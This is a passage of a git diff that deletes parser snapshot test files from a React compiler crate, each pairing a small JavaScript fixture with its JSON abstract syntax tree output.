-  foo(primitiveVal1, primitiveVal2, primitiveVal3);
-  return { primitiveVal1, primitiveVal2, primitiveVal3 };
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          104,
-          113
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            114,
-            119
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "neverAliasedOrMutated",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    129,
-                    150
-                  ]
-                },
-                "init": {
-                  "type": "CallExpression",
-                  "callee": {
-                    "type": "Identifier",
-                    "name": "foo",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      153,
-                      156
-                    ]
-                  },
-                  "arguments": [
-                    {
-                      "type": "MemberExpression",
-                      "object": {
-                        "type": "Identifier",
-                        "name": "props",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          157,
-                          162
-                        ]
-                      },
-                      "property": {
-                        "type": "Identifier",
-                        "name": "b",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          163,
-                          164
-                        ]
-                      },
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        157,
-                        164
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    153,
-                    165
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  129,
-                  165
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              125,
-              166
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "primitiveVal1",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    173,
-                    186
-                  ]
-                },
-                "init": {
-                  "type": "CallExpression",
-                  "callee": {
-                    "type": "MemberExpression",
-                    "object": {
-                      "type": "Identifier",
-                      "name": "Math",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        189,
-                        193
-                      ]
-                    },
-                    "property": {
-                      "type": "Identifier",
-                      "name": "max",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        194,
-                        197
-                      ]
-                    },
-                    "computed": false,
-                    "loc": null,
-                    "range": [
-                      189,
-                      197
-                    ]
-                  },
-                  "arguments": [
-                    {
-                      "type": "MemberExpression",
-                      "object": {
-                        "type": "Identifier",
-                        "name": "props",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          198,
-                          203
-                        ]
-                      },
-                      "property": {
-                        "type": "Identifier",
-                        "name": "a",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          204,
-                          205
-                        ]
-                      },
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        198,
-                        205
-                      ]
-                    },
-                    {
-                      "type": "Identifier",
-                      "name": "neverAliasedOrMutated",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        207,
-                        228
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    189,
-                    229
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  173,
-                  229
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              169,
-              230
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "primitiveVal2",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    237,
-                    250
-                  ]
-                },
-                "init": {
-                  "type": "Identifier",
-                  "name": "Infinity",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    253,
-                    261
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  237,
-                  261
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              233,
-              262
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "primitiveVal3",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    269,
-                    282
-                  ]
-                },
-                "init": {
-                  "type": "MemberExpression",
-                  "object": {
-                    "type": "MemberExpression",
-                    "object": {
-                      "type": "Identifier",
-                      "name": "globaThis",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        285,
-                        294
-                      ]
-                    },
-                    "property": {
-                      "type": "Identifier",
-                      "name": "globalThis",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        295,
-                        305
-                      ]
-                    },
-                    "computed": false,
-                    "loc": null,
-                    "range": [
-                      285,
-                      305
-                    ]
-                  },
-                  "property": {
-                    "type": "Identifier",
-                    "name": "NaN",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      306,
-                      309
-                    ]
-                  },
-                  "computed": false,
-                  "loc": null,
-                  "range": [
-                    285,
-                    309
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  269,
-                  309
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              265,
-              310
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "Identifier",
-                "name": "foo",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  444,
-                  447
-                ]
-              },
-              "arguments": [
-                {
-                  "type": "Identifier",
-                  "name": "primitiveVal1",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    448,
-                    461
-                  ]
-                },
-                {
-                  "type": "Identifier",
-                  "name": "primitiveVal2",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    463,
-                    476
-                  ]
-                },
-                {
-                  "type": "Identifier",
-                  "name": "primitiveVal3",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    478,
-                    491
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                444,
-                492
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              444,
-              493
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "ObjectExpression",
-              "properties": [
-                {
-                  "type": "Property",
-                  "key": {
-                    "type": "Identifier",
-                    "name": "primitiveVal1",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      505,
-                      518
-                    ]
-                  },
-                  "value": {
-                    "type": "Identifier",
-                    "name": "primitiveVal1",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      505,
-                      518
-                    ]
-                  },
-                  "kind": "init",
-                  "method": false,
-                  "shorthand": true,
-                  "computed": false,
-                  "loc": null,
-                  "range": [
-                    505,
-                    518
-                  ]
-                },
-                {
-                  "type": "Property",
-                  "key": {
-                    "type": "Identifier",
-                    "name": "primitiveVal2",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      520,
-                      533
-                    ]
-                  },
-                  "value": {
-                    "type": "Identifier",
-                    "name": "primitiveVal2",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      520,
-                      533
-                    ]
-                  },
-                  "kind": "init",
-                  "method": false,
-                  "shorthand": true,
-                  "computed": false,
-                  "loc": null,
-                  "range": [
-                    520,
-                    533
-                  ]
-                },
-                {
-                  "type": "Property",
-                  "key": {
-                    "type": "Identifier",
-                    "name": "primitiveVal3",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      535,
-                      548
-                    ]
-                  },
-                  "value": {
-                    "type": "Identifier",
-                    "name": "primitiveVal3",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      535,
-                      548
-                    ]
-                  },
-                  "kind": "init",
-                  "method": false,
-                  "shorthand": true,
-                  "computed": false,
-                  "loc": null,
-                  "range": [
-                    535,
-                    548
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                503,
-                550
-              ]
-            },
-            "loc": null,
-            "range": [
-              496,
-              551
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          121,
-          553
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        95,
-        553
-      ],
-      "loc": null,
-      "range": [
-        95,
-        553
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    95,
-    553
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@infer-phi-primitive.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@infer-phi-primitive.js.snap
deleted file mode 100644
index 55a62a80afb2..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@infer-phi-primitive.js.snap
+++ /dev/null
@@ -1,287 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/infer-phi-primitive.js
----
-Input:
-function foo(a, b) {
-  let x;
-  if (a) {
-    x = 1;
-  } else {
-    x = 2;
-  }
-
-  let y = x;
-  return y;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "foo",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          12
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "a",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            13,
-            14
-          ]
-        },
-        {
-          "type": "Identifier",
-          "name": "b",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            16,
-            17
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    27,
-                    28
-                  ]
-                },
-                "init": null,
-                "loc": null,
-                "range": [
-                  27,
-                  28
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              23,
-              29
-            ]
-          },
-          {
-            "type": "IfStatement",
-            "test": {
-              "type": "Identifier",
-              "name": "a",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                36,
-                37
-              ]
-            },
-            "consequent": {
-              "type": "BlockStatement",
-              "body": [
-                {
-                  "type": "ExpressionStatement",
-                  "expression": {
-                    "type": "AssignmentExpression",
-                    "operator": "=",
-                    "left": {
-                      "type": "Identifier",
-                      "name": "x",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        45,
-                        46
-                      ]
-                    },
-                    "right": {
-                      "type": "NumericLiteral",
-                      "value": 1.0,
-                      "loc": null,
-                      "range": [
-                        49,
-                        50
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      45,
-                      50
-                    ]
-                  },
-                  "directive": null,
-                  "loc": null,
-                  "range": [
-                    45,
-                    51
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                39,
-                55
-              ]
-            },
-            "alternate": {
-              "type": "BlockStatement",
-              "body": [
-                {
-                  "type": "ExpressionStatement",
-                  "expression": {
-                    "type": "AssignmentExpression",
-                    "operator": "=",
-                    "left": {
-                      "type": "Identifier",
-                      "name": "x",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        67,
-                        68
-                      ]
-                    },
-                    "right": {
-                      "type": "NumericLiteral",
-                      "value": 2.0,
-                      "loc": null,
-                      "range": [
-                        71,
-                        72
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      67,
-                      72
-                    ]
-                  },
-                  "directive": null,
-                  "loc": null,
-                  "range": [
-                    67,
-                    73
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                61,
-                77
-              ]
-            },
-            "loc": null,
-            "range": [
-              32,
-              77
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    85,
-                    86
-                  ]
-                },
-                "init": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    89,
-                    90
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  85,
-                  90
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              81,
-              91
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "y",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                101,
-                102
-              ]
-            },
-            "loc": null,
-            "range": [
-              94,
-              103
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          19,
-          105
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        105
-      ],
-      "loc": null,
-      "range": [
-        0,
-        105
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    105
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@infer-property-delete.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@infer-property-delete.js.snap
deleted file mode 100644
index 2fece294825f..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@infer-property-delete.js.snap
+++ /dev/null
@@ -1,206 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/infer-property-delete.js
----
-Input:
-function Component(props) {
-  const x = makeObject();
-  const y = delete x.value;
-  return y;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            24
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    36,
-                    37
-                  ]
-                },
-                "init": {
-                  "type": "CallExpression",
-                  "callee": {
-                    "type": "Identifier",
-                    "name": "makeObject",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      40,
-                      50
-                    ]
-                  },
-                  "arguments": [],
-                  "loc": null,
-                  "range": [
-                    40,
-                    52
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  36,
-                  52
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              30,
-              53
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    62,
-                    63
-                  ]
-                },
-                "init": {
-                  "type": "UnaryExpression",
-                  "operator": "delete",
-                  "prefix": true,
-                  "argument": {
-                    "type": "MemberExpression",
-                    "object": {
-                      "type": "Identifier",
-                      "name": "x",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        73,
-                        74
-                      ]
-                    },
-                    "property": {
-                      "type": "Identifier",
-                      "name": "value",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        75,
-                        80
-                      ]
-                    },
-                    "computed": false,
-                    "loc": null,
-                    "range": [
-                      73,
-                      80
-                    ]
-                  },
-                  "loc": null,
-                  "range": [
-                    66,
-                    80
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  62,
-                  80
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              56,
-              81
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "y",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                91,
-                92
-              ]
-            },
-            "loc": null,
-            "range": [
-              84,
-              93
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          26,
-          95
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        95
-      ],
-      "loc": null,
-      "range": [
-        0,
-        95
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    95
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@infer-types-through-type-cast.flow.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@infer-types-through-type-cast.flow.js.snap
deleted file mode 100644
index 6552176b09ae..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@infer-types-through-type-cast.flow.js.snap
+++ /dev/null
@@ -1,233 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/infer-types-through-type-cast.flow.js
----
-Input:
-// @flow
-function Component(props) {
-  // We can infer that `x` is a primitive bc it is aliased to `y`,
-  // which is used in a binary expression
-  const x = foo();
-  const y = (x: any);
-  y + 1;
-  return x;
-}
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          18,
-          27
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            28,
-            33
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    154,
-                    155
-                  ]
-                },
-                "init": {
-                  "type": "CallExpression",
-                  "callee": {
-                    "type": "Identifier",
-                    "name": "foo",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      158,
-                      161
-                    ]
-                  },
-                  "arguments": [],
-                  "loc": null,
-                  "range": [
-                    158,
-                    163
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  154,
-                  163
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              148,
-              164
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    173,
-                    174
-                  ]
-                },
-                "init": {
-                  "type": "CoverTypedIdentifier",
-                  "left": {
-                    "type": "Identifier",
-                    "name": "x",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      178,
-                      179
-                    ]
-                  },
-                  "right": {
-                    "type": "TSTypeAnnotation",
-                    "loc": null,
-                    "range": [
-                      179,
-                      184
-                    ]
-                  },
-                  "loc": null,
-                  "range": [
-                    178,
-                    184
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  173,
-                  185
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              167,
-              186
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "BinaryExpression",
-              "left": {
-                "type": "Identifier",
-                "name": "y",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  189,
-                  190
-                ]
-              },
-              "operator": "+",
-              "right": {
-                "type": "NumericLiteral",
-                "value": 1.0,
-                "loc": null,
-                "range": [
-                  193,
-                  194
-                ]
-              },
-              "loc": null,
-              "range": [
-                189,
-                194
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              189,
-              195
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "x",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                205,
-                206
-              ]
-            },
-            "loc": null,
-            "range": [
-              198,
-              207
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          35,
-          209
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        9,
-        209
-      ],
-      "loc": null,
-      "range": [
-        9,
-        209
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    9,
-    209
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@inner-memo-value-not-promoted-to-outer-scope-dynamic.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@inner-memo-value-not-promoted-to-outer-scope-dynamic.js.snap
deleted file mode 100644
index 3f8b5ed6e8f0..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@inner-memo-value-not-promoted-to-outer-scope-dynamic.js.snap
+++ /dev/null
@@ -1,573 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/inner-memo-value-not-promoted-to-outer-scope-dynamic.js
----
-Input:
-function Component(props) {
-  const item = useFragment(FRAGMENT, props.item);
-  useFreeze(item);
-
-  const count = new MaybeMutable(item);
-  return (
-    <View>
-      <View>
-        {<span>Text</span>}
-        {<span>{maybeMutate(count)}</span>}
-      </View>
-    </View>
-  );
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            24
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "item",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    36,
-                    40
-                  ]
-                },
-                "init": {
-                  "type": "CallExpression",
-                  "callee": {
-                    "type": "Identifier",
-                    "name": "useFragment",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      43,
-                      54
-                    ]
-                  },
-                  "arguments": [
-                    {
-                      "type": "Identifier",
-                      "name": "FRAGMENT",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        55,
-                        63
-                      ]
-                    },
-                    {
-                      "type": "MemberExpression",
-                      "object": {
-                        "type": "Identifier",
-                        "name": "props",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          65,
-                          70
-                        ]
-                      },
-                      "property": {
-                        "type": "Identifier",
-                        "name": "item",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          71,
-                          75
-                        ]
-                      },
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        65,
-                        75
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    43,
-                    76
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  36,
-                  76
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              30,
-              77
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "Identifier",
-                "name": "useFreeze",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  80,
-                  89
-                ]
-              },
-              "arguments": [
-                {
-                  "type": "Identifier",
-                  "name": "item",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    90,
-                    94
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                80,
-                95
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              80,
-              96
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "count",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    106,
-                    111
-                  ]
-                },
-                "init": {
-                  "type": "NewExpression",
-                  "callee": {
-                    "type": "Identifier",
-                    "name": "MaybeMutable",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      118,
-                      130
-                    ]
-                  },
-                  "arguments": [
-                    {
-                      "type": "Identifier",
-                      "name": "item",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        131,
-                        135
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    114,
-                    136
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  106,
-                  136
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              100,
-              137
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "JSXElement",
-              "openingElement": {
-                "type": "JSXOpeningElement",
-                "name": {
-                  "type": "JSXIdentifier",
-                  "name": "View",
-                  "loc": null,
-                  "range": [
-                    154,
-                    158
-                  ]
-                },
-                "attributes": [],
-                "selfClosing": false,
-                "loc": null,
-                "range": [
-                  153,
-                  159
-                ]
-              },
-              "children": [
-                {
-                  "type": "JSXText",
-                  "value": "\n      ",
-                  "raw": "\n      ",
-                  "loc": null,
-                  "range": [
-                    159,
-                    166
-                  ]
-                },
-                {
-                  "type": "JSXElement",
-                  "openingElement": {
-                    "type": "JSXOpeningElement",
-                    "name": {
-                      "type": "JSXIdentifier",
-                      "name": "View",
-                      "loc": null,
-                      "range": [
-                        167,
-                        171
-                      ]
-                    },
-                    "attributes": [],
-                    "selfClosing": false,
-                    "loc": null,
-                    "range": [
-                      166,
-                      172
-                    ]
-                  },
-                  "children": [
-                    {
-                      "type": "JSXText",
-                      "value": "\n        ",
-                      "raw": "\n        ",
-                      "loc": null,
-                      "range": [
-                        172,
-                        181
-                      ]
-                    },
-                    {
-                      "type": "JSXExpressionContainer",
-                      "expression": {
-                        "type": "JSXElement",
-                        "openingElement": {
-                          "type": "JSXOpeningElement",
-                          "name": {
-                            "type": "JSXIdentifier",
-                            "name": "span",
-                            "loc": null,
-                            "range": [
-                              183,
-                              187
-                            ]
-                          },
-                          "attributes": [],
-                          "selfClosing": false,
-                          "loc": null,
-                          "range": [
-                            182,
-                            188
-                          ]
-                        },
-                        "children": [
-                          {
-                            "type": "JSXText",
-                            "value": "Text",
-                            "raw": "Text",
-                            "loc": null,
-                            "range": [
-                              188,
-                              192
-                            ]
-                          }
-                        ],
-                        "closingElement": {
-                          "type": "JSXClosingElement",
-                          "name": {
-                            "type": "JSXIdentifier",
-                            "name": "span",
-                            "loc": null,
-                            "range": [
-                              194,
-                              198
-                            ]
-                          },
-                          "loc": null,
-                          "range": [
-                            192,
-                            199
-                          ]
-                        },
-                        "loc": null,
-                        "range": [
-                          182,
-                          199
-                        ]
-                      },
-                      "loc": null,
-                      "range": [
-                        181,
-                        200
-                      ]
-                    },
-                    {
-                      "type": "JSXText",
-                      "value": "\n        ",
-                      "raw": "\n        ",
-                      "loc": null,
-                      "range": [
-                        200,
-                        209
-                      ]
-                    },
-                    {
-                      "type": "JSXExpressionContainer",
-                      "expression": {
-                        "type": "JSXElement",
-                        "openingElement": {
-                          "type": "JSXOpeningElement",
-                          "name": {
-                            "type": "JSXIdentifier",
-                            "name": "span",
-                            "loc": null,
-                            "range": [
-                              211,
-                              215
-                            ]
-                          },
-                          "attributes": [],
-                          "selfClosing": false,
-                          "loc": null,
-                          "range": [
-                            210,
-                            216
-                          ]
-                        },
-                        "children": [
-                          {
-                            "type": "JSXExpressionContainer",
-                            "expression": {
-                              "type": "CallExpression",
-                              "callee": {
-                                "type": "Identifier",
-                                "name": "maybeMutate",
-                                "typeAnnotation": null,
-                                "loc": null,
-                                "range": [
-                                  217,
-                                  228
-                                ]
-                              },
-                              "arguments": [
-                                {
-                                  "type": "Identifier",
-                                  "name": "count",
-                                  "typeAnnotation": null,
-                                  "loc": null,
-                                  "range": [
-                                    229,
-                                    234
-                                  ]
-                                }
-                              ],
-                              "loc": null,
-                              "range": [
-                                217,
-                                235
-                              ]
-                            },
-                            "loc": null,
-                            "range": [
-                              216,
-                              236
-                            ]
-                          }
-                        ],
-                        "closingElement": {
-                          "type": "JSXClosingElement",
-                          "name": {
-                            "type": "JSXIdentifier",
-                            "name": "span",
-                            "loc": null,
-                            "range": [
-                              238,
-                              242
-                            ]
-                          },
-                          "loc": null,
-                          "range": [
-                            236,
-                            243
-                          ]
-                        },
-                        "loc": null,
-                        "range": [
-                          210,
-                          243
-                        ]
-                      },
-                      "loc": null,
-                      "range": [
-                        209,
-                        244
-                      ]
-                    },
-                    {
-                      "type": "JSXText",
-                      "value": "\n      ",
-                      "raw": "\n      ",
-                      "loc": null,
-                      "range": [
-                        244,
-                        251
-                      ]
-                    }
-                  ],
-                  "closingElement": {
-                    "type": "JSXClosingElement",
